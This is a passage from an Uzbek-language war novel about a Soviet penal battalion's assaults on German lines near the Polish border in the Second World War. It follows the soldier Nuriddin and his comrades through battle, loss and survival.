ҳужумга кўтар! Трибуналга кетасан!!! Ҳужумга! Тушундингми?! - Тушундим!!! Комбат зарда билан трубкани ташлади-да, ташқарига отилди. Тезда ротникларга алоқачиларни жўнатди. "Ҳозир ҳужумга ўтамиз. Ўзим бошлайман". Унинг буйруғи оғиздан оғизга ўтиб бутун батальонга етди. Тинмай ўқ отилаётган, бош кўтаришнинг имкони йўқ бу вазиятда Субботиннинг таваккал қилишдан бошқа чораси қолмаганди. У пойлаб туриб окопдан ташқари чиқди-ю, бор овози билан бақирди: "Батальон! Ҳужумга-а-а!!!" Дастлаб тайсаллаб туришса ҳам, жангчилар унга эргашдилар. Милтиқлардан, автоматлардан ўқ узиб йиқилиб- туриб бутун батальон олдинга ташланди. " Ё парвардигор, ўзинг сақла, ўзингга омонатман", деб Нуриддин ҳам окопдан чиқди. Югуриб кета туриб милтиқдан отар, мўлжалга олмасданоқ ўқ бўшатарди. Эллик қадам югурмасдан олдинги қатордагилар тўкилиб қолди. Уларнинг ўрнини орқадагилар эгаллади. Нуриддиннинг ихтиёри ўзида бўлмай қолди. У ҳеч нарсани ўйламас, гўё ўзига ўзи тепадан қараб тургандай туюларди. Уни худди биров бошқараётгандай югуриб борарди. Гоҳ ўнгга, гоҳ чапга сакрар, ҳаракатлари назарида жуда секин бўлаётгандай, вақт ўтмаётгандай туюларди. Ўн минутда икки томон аралаш-қуралаш бўлиб кетди. Нуриддиннинг қулоқлари эшитмас, олдидаги қора шарпаларни мўлжаллаб отиб борарди. Кенг далада икки қуюн тўқнашди. Бутун борлиқ чирпирак бўлиб айланди, одамлар чирпирак бўлиб айланди. Орадан бир соат ўтдими, икки соат ўтдими, рўпарадаги олишаётган душман аскарларининг айримлари иккала қўлини кўтара бошладилар. Уларнинг орқасидан, икки ёндан ҳам аскарлар ёпирилиб кела бошлади. Душман қуршовга тушиб қолганди. Уч томондан қўшинлар келиб туташди. Ўртада уч юзга яқин немис аскари қўларини кўтарганча туриб қолди. Уларни тезда қуролсизлантирдилар. Нуриддин бир нуқтага тикилганча қотиб турарди. Азлар унинг ёнига келди, ҳайрият, унга ҳам шикаст етмабди. У ёнидан сувдонни олди-да, Нуриддиннинг оғзига тутди, зўрлаб икки қултум сув ичирди. Нуриддиннинг кўзларидан ёш чиқиб кетди. Танглайи ёпишиб қолгандай сув ичгандан кейингина ўпкасига ҳаво киргандай бўлди. - Соғмисан?- Азлардан сўради. - Мен соғман. Олдиларида Вадим пайдо бўлиб қолди, кейин Дубов. Тўртови бир-бирини унсиз қучоқладилар. - Ахволингни қара, Вадим, ҳеч қаеринг оғримаяптими?- сўради Азлар. - Йў-ўқ,- Вадим гумонсираб ўзига қаради.Шинелининг икки биқини титилиб осилиб қолганди. Вадим бир Азларга, бир шинелига қаради. - Бутунман,- у ўзининг кўкрак, қорнини пайпаслаб кўрди,- ўзинг-чи? Азларнинг шинелини ўқ бир ёнбошидан кириб иккинчисидан чиқиб кетганди. У шинелини ечди, гимнастёркасини кўтарди. Ўқ изи йўқ. - Дубов, сенинг этигинг қани?- сўради Вадим. Михаил бир пой этикда турар, ўнг оёғидаги пайтаваси маҳкам ўралганидан тушиб қолмаганди. - Сал каттароқ эди-да ўзи,- хижолатомуз иршайди у. - Бугун ҳам бизни худо асради, сенинг дуоларинг асради,- Вадим Нуриддинни қучоқлаб олди. ХХХ Бу ғалаба Волохов дивизиясининг шу кунгача эришган энг катта ғалабаси бўлди. Дивизия душманнинг бутут бир армиясига бас кела олди. Уч юздан ортиқ асир қўлга олинди. Жуда катта йўқотишга учраган ғаним қолган-қутган қўшини билан Двина дарёси бўйига чекинди. Душманнинг ҳолдан тойган ҳолда чекинаётганидан хабардор бўлган армия қўмондонлиги уни тўхташга қўймай бор куч-имконият билан таъқиб қилишни буюрди. Бутун дивизия кечқуруноқ йўлга тушди. Танк қисми, артиллерия қисми, тўртта пиёдалар қисми, шу билан батальон ҳам кечаси йўл юрди. Комбат Субботиннинг " мен нима қилай, бор-йўғи йигирма беш нафар одамим қолди?" деган сўроғига Волохов " ҳозирча Боровкин қисмининг олдида борасан, кейинчалик сени тўлдирамиз", деб жавоб берди. Бутун дивизия икки кеча- кундуз тўхтамай йўл босди. Дарё бўйига етиб келишлари биланоқ тезда дарёдан кечиб ўтиб ҳужум қилиш буюрилди. Орқадан берилган артиллериянинг кўмаги билан бир амаллаб дарёдан ўтган қисмлар ҳужумга ташланди. Мақсад душманни дарё бўйига эгалик қилдирмаслик эди. Шиддатли ҳужумдан кейин немислар тағин чекинишди. Бу сафар анча узоқ кетдилар, шекилли. Чунки эртасига дивизиянинг пиёда қисмлари ўн километр олдинга сурилди. Шундагина узоқдан немис қисмлари кўринди. Шу ерда тўхтаб траншеялар барпо қилиш ҳақида буйруқ берилди. Субботинга эса тезда ортга, дарё бўйига қайтиш ва танклар, артиллерия тўпларини олиб ўтиш учун кўприклар қуриш ҳақида топшириқ берилди. - Одамларим оч, ухлаб қолиб йиқилиб тушишяпти, икки кун дам беринг,- дея сўради у генералдан. - Майли, сенга бир кун дам. Аммо беш кунда кўприк тайёр бўлсин,- буюрди генерал. - Менга инженерлар, зарур асбоб-ускуналар керак,- яна сўради комбат,- йигирма бешта одам билан кўприк қуролмайман. - Асбоб-ускуналар етказилади. Трубишев қисмидан бир взвод ёрдамга боради,- генерал сал юмшади,- лекин ҳозироқ йўлга туш. Ҳолдан тойган, ухлаб қолиб йиқилиб тушаётган, оч-наҳор йигирма беш нафар жангчи комбат бошчилигида ортга қайтди. Шу алфозда дарё бўйига етишга комбатнинг кўзи етмасди. Унинг ўзи ҳам аскарлардан камэмасди. Юриб кетаётиб кўзи юмилиб қолар, юраяпман деб хаёл қиларди-ю, ўзига келса, бир ерда тўхтаб турган бўларди. У қор билан юзларини ювди, сал тетиклашгач, дурбинни олиб атрофни кузатди. Улар кетаётган жойдан бир ярим чақиримча жойда қорайиб бир иморат кўринди. У ҳеч кимга индамади-ю, ўша томон кета бошлади. Биров ғинг демай, ҳамма унга эргашди. Комбатнинг назарида узоқ юрдилар. Ниҳоят, ўртада қўққайиб турган бинога етиб келдилар. Бу аввал сигирлар учун ем-хашак сақланган жой бўлиб чиқди. Таассуфки, иморат бут-бутун эди. Ичкари киришлари билан хашак иси димоқларига урилди. Иморатнинг ичи тўла хашак, илиққина эди. - Тешик-туйнук бўлса, хашак билан ёпиб ташланглар,- буюрди комбат. Унинг буйруғи зумда бажарилди. - Мана энди, ҳамма хашак ичига! Аскарлар учун шу тобда бундан-да тотлироқ гап йўқ эди. Ҳамма ўзига қулайроқ жой тайёрлашга киришиб кетди. Ярим соат ўтмай, ҳамма донг қотди-қолди. ХХХ Биринчи бўлиб Корзун кўзини очди. У хашак ичидан чиқиб ташқарига қаради. Кун ботиш арафасида эди. Совуқ суяк-суягидан ўтиб кетганидан баданларини шунча ишқаса ҳам қизимади. Гимнастика қилди. Ётди- турди. Бориб комбатни уйғотди. У соатига қараб шунча ухладикми дегандай Корзунга боқди. - Батальон! Подём! Туринглар, йигитлар! Жангчилар бирин-кетин зўр-базўр ўринларидан туришиб ташқари чиқдилар. Кун ботган пайтда дарё қирғоғига етиб келгач, ўзларига бошпана қилиб кенг бир чуқурни танлашди. Шоша-пиша шу ерга дарахтларни кесиб келиб устига ходаларни, унинг устидан шох-шаббаларни ташладилар-да, тунаш учун жой тайёрладилар. Эрталаб тонг ёришмасдан барча сафга турди. Нариги қирғоқда тўплар кўриниб турарди. Сол ясаб сузиб ўтган комбат артиллеристлар ва ёрдамга келган инженерлар билан маслаҳатлашди. Инженерларнинг айтишича, бу ерга кўприк қуришнинг имкони йўқ. Тўпларни эса бир амаллаб ўтказса бўлади. - Бу ҳақда генералга ўзингиз ахборот беринг,- деб сўради комбат капитан формасидаги инженердан. - Мен ўзим ахборот бераман. Кўнглингиз тўқ бўлсин. Танклар учун ўзимиз ўтадиган жой топамиз. Сизлар тўплар билан шуғулланинглар,- капитан рози бўлди. Унинг муомаласидан Субботининг кўнгли ёришди. Ёрдамга етиб келган взвод ва артиллеристларнинг кўмаги билан уч кун ичида бутун артиллерия қуролларини дарёдан ўтказишга муваффақ бўлдилар. Тўпларни тортиб кетиш учун машиналар, от-улов етишмасди. Охирида улов етишмаган тўртта тўпни арқонлар билан тортиб йўлга тушдилар... ХХХ Бир ҳафтадан кейин батальон икки чақирим олдинга силжиб шу ерда марра эгаллади. Тўлдирилувчилар бу сафар тўрт юзга яқин бўлиб, уларни роталарга тақсимлашди. Эскилардан қолган йигирма бир нафар аскар Гречков ротасининг Петрушин взводига ўтказилди. Батальонга тайёргарлик учун бир ҳафта вақт берилди. Бу давр ичида янгиларни тартиб-қоидага, шарт-шароитга ўргатиш зарур эди. ХХХ Баҳорнинг ўрталарида батальон Даугава дарёсини кечиб ўтиб Минск шаҳри томон йўл олди. Оғир ва шиддатли жанглардан кейин шаҳар қўлга киритилди. Бир неча ҳафтадан кейин эса Лида шаҳри учун қаттиқ жанг бўлди. Ёзнинг ўрталарида Волохов дивизияси Гродно шаҳри учун бўлган жангда қатнашди. Фақат бу гал бу шаҳарни қўга киритиш жуда қийин бўлди. Авиация ва артиллериянинг кўмаги билан душман суриб чиқарилди. Ортига чекинган немислар Польша чегарасида маҳкам ўрнашдилар. Бутун армия чегарани босиб ўтишга тайёргарлик кўрар, айни пайтда немислар ҳам борки армияси, қурол-яроғи билан қаршилик кўрсатишга тайёр эди. Бу ердаги немис истеҳкомлари олдиндан тузилган режа бўйича ҳарбий соҳа мутахассислари томонидан қурилган бўлиб, уни ёриб ўтиш мушкул эди. Бундан ташқари, жуда катта майдонни немислар миналаштириб кетишга улгуришганди. Батальон ана шу мина майдонини босиб ўтиши, немисларнинг темир истеҳкомларини темир пона каби ёриб бериши, айни дамда душманниг бутун эътиборини ўзига тортиши лозим эди. Армия штабидан ана шундай вазифа юклатилганди. Дивизия командири генерал лейтенант Волохов ( унинг унвони ошганди) Субботинни чақириб унга бутун вазиятни ипидан игнасигача тушунтирди. - Тушунаман Алексей Иванович, бу вазифани уддасидан чиқиш қийин, аммо бажаришинг шарт. Армия штаби сенинг хизматингга қараб турибди. Агар шу вазифани ҳам бажара олсанг, генерал Тимофеевнинг шахсан ўзи сенинг барча ҳуқуқларингни тиклашга ваъда берди. - Батальон-чи?- сўради комбат. - Жангчиларингдан лойиқларини ўзинг тавсия қиласан. - Уч юз тўқсон уч жангчим қолган, барчасини тавсия қиламан. - Тавсия қилиш сендан, ўрганиш сиёсий бўлимнинг иши. Бу ёғига ваъда беролмайман. ХХХ Батальонга Кварцовнинг қайтиб келиши дўстлар учун ҳақиқий байрам бўлди. Уни биринчи бўлиб машинадан тушаётганида Громов кўриб қолди. Дарров қадрдонлар бир ерга ғуж бўлиб олдилар. - Сени тирик кўриш насиб этди, серёжа, бу яхши аломат. Биз сен билан Берлингача борамиз,- Азлар уни қучиб олди. - Биз кўйлакда туғилганмиз деб айтганман, ўлмаймиз. Вадим дарров спирт топиб келди. Уларнинг устига Гречков ҳам келди-ю, акасини топгандай Кварцовнинг бўйнига осилди. Котелокларни уриштириб ичганларидан кейин Петрушин сўради: - Хўш, қандай даволандинг, қандай дам олдинг? Скородубов қалай, ундан хабаринг бўлдими? - Госпиталда жаримачи деб ажратишмади. Ҳамма қатори муомала қилишди. Лекин маза қилдим. Скородубов эса госпиталга етиб бормади. - Ажойиб инсон эди шоир, майли, руҳи тинч бўлсин. Бу ёқда қанча-қанча дўстлардан ажралдик. Келинглар, ҳалок бўлганларни хотирлайлик,- Вадим котелогини қўлига олди. - Оёғинг бутунлай тузалиб кетдими?- сўради Гречков. - Сал оқсоқланишим бор, лекин Берлингача ета оламан,- кулди Кварцов. Гречков комбат чақирганини айтиб ўрнидан турди. Бошқалар эса яна чақчақлашиб гурунгни давом эттирдилар. Азлар Дубовнинг бир немисни жангда қандай қувлаганини айтиб ҳаммани кулдирди. - Немислар ҳам мард экан, иккови яккама-якка ҳисоблашиб олишсин деб тегишмади, биз ҳам немисга тегмадик. Дубов маза қилиб муштлашди. Анча пайтлардан буён бундай ёйилиб гаплашмаганларидан эски қадрдонлар Кварцов баҳонасида мароқ билан гурунглашардилар. Энг қадрли одамларидан ажралишни истамади, шекилли Гречков ҳам бироздан кейин қайтиб келиб даврага қўшилди. ХХХ Нуриддин окоп деворига суяниб ўтириб кўзи кетиб қолганини ҳам билмай қолди. Баҳор қуёши юзингга тушиб турса, одамни ланж қилади. Уйқу тортаверади. Жангчиларнинг бари ўзи шунақа. Озгина фурсат бўлиб қолса, мизғиб олишга ҳаракат қиладилар. Кеча-кундуз ухламай юрадиган пайтларининг ҳиссасини чиқарадилар-да. Уйқусида чўчиб тушди. Кўзини очди-ю, ёнига қаради. Петрушин милтиғини чуқилаб ўтирарди. - Ҳа, чўчиб кетдингми? Нуриддин унга тикилиб қаради. - Вадим қани?- сўради. - У ёқда,- қўли билан ишора қилди Петрушин. Нуриддин ўрнидан туриб у кўрсатган томон югурди. Окопнинг охирроғида, орқага уйилган тупроқлар ортида Фадеев ва Дубов ярим яланғоч бўлиб офтобга тобланиб ётишарди. " Вадим! Вадим!" чақирди Нуриддин. - Келавер, Нурик, биз бу ердамиз!- тупроқлар ортидан овоз эшитилди. Нуриддин окоп қирғоғига сакраб чиққанда уларни кўрди. - Вадим, тур ўрнингдан! Тур ўрнингдан! Тез бу ёққа чоп!- бор овози билан қичқирди Нуриддин. Унинг ваҳимали бақиришидан Вадим чўчиб кетди. Бир нима содир бўлдими, деб у томон югурди, ортидан Михаил эргашди. Бу пайт Нуриддин окопга сакраб тушди-ю, ўтирди. - Нима бўлди, Нурик?! Нима бўлди?!- унинг тепасига келиб сўради Вадим. - Бу ёққа туш! Иккови ҳам окоп ичига сакрадилар. Шу дамда бир нарса чийиллаб келди-да, ҳозиргина Вадим ва Михаил ётган жойда портлади. Тўзғиган тупроқ уларнинг устига етиб келди. Иккови ҳам карахт, Нуриддинга тикилганча туришарди. - Кетдик, Петрушиннинг олдига,- уларни бошлади Нуриддин. Вадим Петрушинга бўлган воқеани айтиб берди. - Ёнимда ухлаб ўтирганди, чўчиб уйғониб кетди, кейин сени сўради. Шу бўйи сени излаб югуриб кетди, ҳайрон қолавердим. - Эҳ, сиз- ўзбеклар, сирли оламсизлар,- ҳайратини яширолмасди Фадеев,- сизларнинг меҳнатинглар, ниятинглар, ҳалиги... дуоларинг билан бу мамлакат ғалаба қозонади десам бўлаверади. Бунга имон келтираман. ХХХ Қўл узатса етгудай жойда чегара. Ана шу ердан Европага дарча очилади. Бу дарчани бир зарб билан очиб бўлмаслигини комбат Субботин яхши англарди. Душман гўё кучимни кўриб қўй дегандай кунда уч-тўрт марта миномёт ва тўплардан отиб туради. Баъзан уч-тўрт жойда баравар пулемёт тариллайди. Гоҳида мина майдонида ҳам портлаш бўлиб қолади. Қуёнми ёки бирор жонивор ўтиб қолса керак. Комбат Волоховдан асосий ҳужумдан олдин бир неча марта ҳужум қилиб кўриш кераклигини сўради. Генерал асло кўнмади. Бу талабни дарҳол рад этди. " Бир марта ташланасан, шунда чегарани босиб ўтиб, душман истеҳкомини эгаллашинг шарт. Ҳужум аниқ кунга белгиланган. Бу - олий қўмондонлик буйруғи" деди. Шунда комбат тозалов отрядини олиб келмай туришларини сўради. Унинг бу талаби ҳам инкор этилди. " На илож,- ўйлади Субботин,- бизда қора рўйхатга киритиш бору ундан чиқариш йўқ. Нима бўлганда ҳам жаримачимиз". Тонг оқараётган пайтда орқадан осмонга битта ракета отилди. Бу- ҳужумга ишора. Вақт бўлганди. Бутун диққат-эътибори билан олдинга тикилган жангчиларнинг кўз ўнгида комбат окопдан чиқиб қад ростлади. - Батальо-он! Ватан учун! Олға-а!- кучли ҳайқириқ янгради. Шунда бутун батальон қўзғолди. Субботининг ортидан милтиқ, автоматларини шай тутган ҳолда олдинга югурдилар. Нуриддин югуриб бораркан, кўзига тўсатдан отасининг сиймоси кўриниб бир жилмайди-ю, ғойиб бўлди. У олдинга тикилиб ҳушёр борар, олдинга, оёқ остига қараб кўзлари олазарак бўларди. Рўпарадан ўқ ёмғири ёғилади, оёқ остида ҳар қадамда мина портлаши мумкин. Йўлнинг ярмига етмай жуда кўп одам нобуд бўлди. Пулемётлар тариллиб ҳаммани ерга ётишга мажбур қилди. Нуриддин ҳам ўзини ерга отди. Қандайдир бир чириган тўнка ортида ётиб олдинга мўралади. Рўпарада ўт сочаётган пулемёт туйнугини кўрди. У сал тепада, мустаҳкам бетон девор ичида эди. Пулемёт бир текис ўнгга, чапга ўт очарди. Унинг ёнида ётган Дубов унга қаради: - Қара, ўт ўнг томонга бурилганда устимдан тинмай ўқ уз. - Қимирламай ёт. Командирлар бир чора топишади. Уни тўхтатмоқчи бўлди Нуриддин. Аммо Михаил тикилиб турди-да, пулемёт ўти ўнг томон бурилиши билан сакраб ўрнидан турди. Ўн қадамча жойга сакраб, думалаб борди-ю, биқиниб олди. Бироз ўтиб унинг қилиғини Нуриддин такрорлади. Иккови ёнма-ён ётиб қолдилар. Михаил диққат билан кузатиб тағин олдинга сакради. Бу сафар ўн беш қадамча юрди-ю, э воҳ, оёқлари остида мина портлади. У олдинга учиб тушди. Нуриддин алам билан ер муштлади. Бироздан кейин у ҳам яна олдинга югурди. Михаил ётган жойга бориб ўзини ерга ташлади. Тепасидан "шип- шип" этиб ўқлар учиб ўтди. - Нурик, оёғимга қара-чи соғмикин, ўзим қарагани қўрқяпман. Михаилнинг овозини эшитиб Нуриддин бақириб юборганини ўзи билмай қолди. - Тирикмисан, Миша-а?! - Тирикман, тирикман. Мени пружина устига қўйиб сакратишгандай бўлди. Нуриддин ортга тисланиб унинг оёқларини кўздан кечирди. Ҳеч қандай жароҳат изини кўрмади. - Оёғинг оғрияптими? - Йўқ. Фақат оёқлари чўрт узилиб кетганларники ҳам оғримайди деб эшитувдим-да. - Оёқларинг ўзингда, қўрқма. Михаил секин-секин қайрилиб, қўрқа-писа оёқларига кўз қирини ташлади. - Бус-бутунманми? - Бус-бутунсан,- Нуриддин унинг тиззасига бир тепди,- оғридими? - Оғриди. - Ана, бутунсан. - Мен яна олдинга бораман. Сен шу ердан қимирлама. Бир, икки, уч деганимда устимдан ошириб от. Лекин у туриб югуришга улгурмади. Нимагадир ҳужум олдидан отилмаган тўплар гумбурлаб ота бошлади. - Йигитлар, сал олдинга, сал олдинга,- ўзича артиллериячиларга сўзларди Михаил. Комбатнинг ҳайқирган овози эшитилди. Чуқурларда, ўтлар ичида биқиниб ётган тирик жангчи борки, олдинга ташланди. Тўп снарядлари икки душман пулемётини портлатишга муваффақ бўлиб, олдинга йўл очиб қўйди. Лекин бу дегани ҳали батальон немислар плацдармига етиб боради дегани эмасди. Немис автоматчилари пойлаб ётарди. Ҳозирча уларни тўплар бош кўтаришга қўймаётибди. Субботин шундан фойдаланишга қарор қилди. У батальоннни ҳужумга кўтарди. Ўнлаб жойда миналар портлаган бўлса ҳам, бу жангчиларни тўхтатолмади. Олдинда кетаётган комбатнинг ўзи биринчи бўлиб немис траншеясига сакраб тушди. Унинг ортидан ўнлаб жангчи етиб келди. Окоп ичида шиддатли олишув бошланди. Бу олишув тўплар наъраси остида содир бўлмоқда эдики, чор-атрофда снарядлар портлар, бу снарядлар эса на ўзимизникиларни, на немисларни фарқларди. Немисларнинг шу ўтдан окоп ичига беркиниши жангчиларнинг окопга етиб олишларига асосий сабаб бўлганди. Нуриддин Михаил билан бирга окопга сакради. Чанг-тўзон ичида ҳаёт-мамот жанги бошланганди... Пешинга бориб немислар маррани ташлаб чиқдилар. Борлиқ бир неча дақиқа жимиб қолди. Комбатнинг ҳирқираб қолган овози эшитилди.: - Ротниклар, одамларни линия бўйлаб жойлаштиринглар. Дарҳол мудофага тайёрланинг! Лекин ҳали жойлашиб улгурмасларидан немислар ортга қайтишди. Афтидан, уларнинг ортида ҳам олдинга ундаб турувчи кучлар бор, шекилли, ўлар-тириларига қарамай бостириб келишарди. Нуриддиннинг олдида Вадим бир пайдо бўлди-ю, яна ғойиб бўлиб қолди. Унинг ёнида автомат отаётган Дубов бир қалқиди-да, мук тушди. - Миша, тур, бошингни пастга торт,- деди Нуриддин, аммо жавоб бўлмади. У Михаилни туртди. Пастга жонсиз гавда сирғалиб тушди. Нуриддин унинг бошини кўтарди, қўлларига чилпиллаб қон ёпишди. Қўли билан унинг кўзини ёпди-да, милтиққа ёпишди. - Ну-ур! Қаёқдаса-ан?!- деган овоз эшитилди. - Бу ердаман! Пичадан кейин унинг ёнига Азлар келди. - От, от! Рўпарадагиларга от! Икковининг тўғрисига етиб келган икки немис йиқилди-ю, уларнинг ортидан яна иккитаси окопга сакради. Иккови ҳам буни кутмаганди. Тўртови ҳам бир-бирининг қуролидан ушлаб олган, тор жойда бир-бирини итаришиб гир айланишар, тепишишарди. Нуриддин пойлаб турди-да, Азлар қўлидан ушлаб турган немисга ёнламаси ташланиб калла қўйди. Қўллари бўшаб кетган Азлар Нуриддинни ушлаб турган немиснинг бошига қўндоқ билан туширди. Нуриддин кўндаланг туриб қолиб йиқилди. У ўрнидан тургунча Азлар иккинчисини отиб ташлади. Окоп қирғоғига тушган снарядлар икковини ҳам ётишга мажбур қилди. Нуриддин устига тушган тупроқни силкитиб чўк тушиб ўтирди. Олдидаги тупроқ кўтарилиб биров бошини кўтарди. Бу ҳалиги немисларнинг бири эди. Нуриддин ихтиёрсиз равишда уни қўндоқ билан урди. Портлашлар давом этмоқда, энди икки томон ҳам шу ерга тўп отаётганди. Нуриддин ўрнидан турар экан, окопдан чиқиб ўрмалаб кетаётганларни кўрди, демак, немислар чекинишяпти. У Азларнинг туришига ёрдамлашди. Бутунмисан? - Соғман. Ўзинг-чи? - Немислар қочди. Портлашлар тиниши билан чекинган немислар нариги линияга етиб бормай ортга қайтдилар. Бу сафар қаердадир пулемёт тариллади. - Бу ёққа юр,- Азлар уни ҳандақ ичида бошлаб кетди. Озгина юриб Громов ва Фадеевга дуч келдилар. Алесеев пайдо бўлди. Унинг қўлида немис пулемёти. Зўрға кўтариб келганди. - Ёрдам беринглар ўрнатишга. Қирғоққа ўрнатдилар-да, Алесеев ўт очди. - А-ҳа, Мана энди тўкиб ташлайман. Вадим, ёрдамлашиб тур. Азлар, сен бориб ўқ олиб кел. Ўнг томонга юр, ўн қадам нарида. Улардан пича нарида немисларнинг пулемёти жойлашган жой бор эди. Шу ерда ўқ борлигини англаган Азлар ўша томон югурди. Хаял ўтмай пулемёт ўқи жойлашган қутини кўтариб келди. Сўнг яна ортига қайтиб ўша ерга кетди. Нуриддиннинг кўзи унинг қорасига тушди-ю, ўша ерда кетма-кет снаряд портлади. " Азла-а-ар!" деб қичқирди Нуриддин. Душман бу гал ҳам чекинди. Икки пулемёт унинг йўлини тўсган, жонини тикиб жанг қилаётган батальонни ёриб ўтолмаслигини англаб, иккинчи линияни мустаҳкамлашга киришди. Алоқачилар амаллаб ўрнатган алоқа дастагидан Волоховнинг амирона буйруғи янгради. - Комбат, тезда ҳужумга ўт! Иккинчи линияни эгаллашинг шарт! - Менда одам қолмади! Ким билан ўтаман?! - Ўзинг ўт! Бизга иккинчи линия керак! Тушуняпсанми, иккинчи линия!!! Комбат иккиланиб окоп қирғоғига чиқди. Ҳозир олға ундаса унга эргашадиган топиладими? Ўзи қанча жангчи қолдийкин? У нима бўлса, бўлар қабилида таваккал қилишга қаоро қилди. - Батль-о-он! Олға-а-а! У уч-тўрт қадам югурди-ю, ортига қаради. Ўнг ва чап томонда эллик нафар атрофида одам кўтарилди. Снарядлар ҳали ҳам портлар, на дўст, на душманни ажратарди. Барча олдинга югуриши билан у томондан немислар ҳам бу томон югуришди. Ўн минутга қолмай икки томон аралашиб кетди. Бақирган, қарсиллаган овозлар дунёни босди. икки тараф шу даражада жазавага тушдики, отилаётган артиллерия тўпларига парво қилмай қўйдилар. " Қирқ йил қирғин бўлса, ажали етган ўлади" деган гап бежиз айтилмаган. Бу қирғиндан Нуриддин қандай омон чиқди - билмайди. Тўплар гумбури тинган маҳалда комбат тағин қичқирди: - Батальон! Орқага қайтамиз! Омон қолганлар ортга қайтдилар. Буларни ҳайрон қолдириб немислар ҳам орқага қайтдилар. Жанг натижаси хунук эди. Бор-йўғи йигирма нафар атрофида одам қолганди. Ярим соат ўтмай яна ҳужумга кўтарилдилар. Бу навбат немислар уларни ўз окопларида қарши олдилар. Жангчилар борки, ўқларини отиб тугатишган, ўлжа олинган, чала-ярим ўқдонлар ва топиб олинган портловчи мосламалар билан олдинга ташландилар. Немислар окоплардан туриб ўққа тутдилару бироздан кейин улар ҳам қарши юриб келдилар. Яна қирпичоқ қирғин бошланди. Нуриддин олатасирда Вадимнинг кўкрагини ушлаб чўк тушиб қолганини, йиқилаётганини оний лаҳзада кўрди. - Вади-и-им, ту-ур!- қичқирди жонҳолатда. Аммо шеригига ёрдам бериш қайда. Ярим соатлардан кейин немислар ўз линиялари томон қочдилар. Бор-йўғи беш ё олти нафар. Бу томонда эса комбат, ярим яланғоч Гречков, Нуриддин ва яна икки жангчи оёқда турарди. Батальоннинг қолгани шу эди. Комбат ортга қайтди. Окопга тушди-ю, алоқачига қаради - у ўлиб ётарди. Субботиннинг ўзи аппаратни чуқилади. У ёқдан биров сўради, шеилли " комбатман" деди. Дастакни бироз тутиб турди-ю, отиб юборди. Бунга ҳам қаноат қилмай аппаратурани кўтариб ерга урди. - Йигитлар, тайёрланинглар, сўнгги жангга кирамиз. Ўқлар тугади. Милтиқларга пичоқларни ўрнатинглар. Биров чурқ этиб оғиз очмади. Ўқсиз милтиқлар найзага айланди. - Йигитлар, яхши-ёмон гапирган бўлсам, мени командир сифатида тушунинглар ва кечиринглар,- деди Субботин ва ҳаммани бир-бир қучди. Сўнг зўрға ўрмалаб окоп қирғоғига чиқди. Беш жангчи милтиқларни олдинга тутганча борардилар. Уларнинг рўпарасидан ҳам беш немис жангчиси автоматларига пичоқ ўрнатиб чиқдилар. - Уларда ҳам патрон қолмабди,- Гречковнинг сўнгги гапи шу бўлди. Икки томон залворли қадамлар билан бир-бирига яқинлашиб борарди. Энг чеккада келаётган Нуриддин тўғрисидаги новча немиснинг кўзига тик қараб юриб борарди. Дастлаб Субботин олдидаги немисга найза санчди. У ҳам бунинг қорнига найзани санчишга улгурди, иккови ҳам йиқилдилар. Кейин иккинчи, учинчи, тўртинчи жангчилар ҳам бир-бирларига найза санчдилар. Рўпарадаги душманни маҳв қилдилару ўзлари ҳам нобуд бўлдилар. Бу атига бир неча лаҳза ичида содир бўлди. Йўлда чалишиб тушиб ўртоқларидан икки қадам ортда бораётган Нуриддинни ҳам шундай тақдир кутаётгандай эди. Аммо бир-бирларига етишларига икки-уч қадам қолганда немис жангчиси шарт тўхтади. Кўз кўзга тушди. Бир-бирларига унсиз тикилиб қолдилар. Шунда немис милтиғини туширди. Чап қўлига олиб ёнига тикка қилди. Беихтиёр Нуриддин ҳам шундай қилди. Немис жангчиси честь берди, шартта ортига бурилди, шахдам олдинга уч-тўрт қадам ташлади, сўнг бемалол кета бошлади, бироз юргач, югуриб кетди, пастликка тушиб кўздан ғойиб бўлди. Нуриддин олдинга, узоқ-узоқларга қаради. Ўзи турган жой анча катта тепалик экан. Йироқларда кенг далалар, қишлоқлар кўринарди. ХХХ У тепаликда ёлғиз ўзи қанча турди - билмайди. Қуёш ботиш арафасида биров билагидан тутди. Қандайдир капитан унга бир нималар деди, эшитмади, индамай унга тикилиб тураверди. Капитан унинг юзига секин-секин шапатилади-да, оғзига сувдонини тутди. Қониб сув ичгандан кейин қулоқлари очилди, ўзига келди. Атрофда жангчилар ўликларни оралаб юришарди. - Битасини топдик,- овоз берди биров. Нуриддин ўша томон югурди. Икки аскар Вадимнинг гимнастёркасини ечиб ўқ ўрнини боғлаётган, бири сув ичираётганди. - Бахтинг бор экан, кўп қон йўқотмабсан. - Тўйгача яшайсан,- дейишди аскарлар. - Биздан ким тирик,- ихраб сўради Вадим. Нуриддин унинг ёнига чўк тушди. Вадим уни қучмоқчи бўлиб интилди. Нуриддин уни қучоғига олди. - Ўзинг қолдингми?- сўради Вадим. Шунда Нуриддин "Азлар" деди-ю, ўртоғини қучоғидан қўйди. Ўрнидан туриб окоплар томон югуриб кетди. Снаряд портлаган жойга келди-ю, тош, тупроқ, тахталарни қўллари шилиниб тита бошлади. Аввал бир жуфт этик кўринди. У маҳкам қучоқлаб тортди. Икки жангчи келиб унга ёрдамлашди. Тупроқ остидан Азларни кавлаб олдилар. Унинг қон аралаш лой чапланган юзини ювдилар. Жангчилардан бири унинг кўкрагини уқалади, оғзини қошиқ билан йириб очди. Шунда Азларнинг ўпкасидан шардан чиққан ҳаводай пуфиллаб нафас чиқди. - Азлар, тирикмисан? - Бошим... Жангчилар унинг бошини авайлаб бойладилар-да, кўтариб кетдилар. Уларнинг ортидан Нуриддин эргашди. Кечқурун Вадим билан Азларни госпиталга жўнатдилар. Анча ўзларига келиб қолган дўстларини Нуриддин узоқ қучиб турди, кўзларидан ёшлар оқди. - Омон бўл, Нурик, биз яна кўришамиз,- йиғлаб юборди Вадим. - Нур, ўзингни асра,- Азларнинг ҳам юзлари нам эди. Бутун батальондан икки ярадору бир бутун қолганди. Нуриддин машинанинг орқасидан мунғайиб қараб қолди. ХХХ Кечқурун бегона жангчилар орасида тунади. У ўзини ҳеч қачон бунчалик ёлғиз ҳис қилмаганди. Бир чеккада ўтириб ухлаб қолди. Эрталаб уни дивизия штабига олиб кетдилар. Штаб эшиги олдида кутиб туришини айтдилар. Милтиғини елкасига илиб ўтаётган машиналарни, аскарларни кузатиб ўтирди. Ундан нарироққа икки машина аскар келиб тушди. Улар вақтинча тўхтаб яна жўнаб кетадиганлар. Қайсидир дивизияга қарашли аскарлар. Чегара томон ўтмоқдалар. 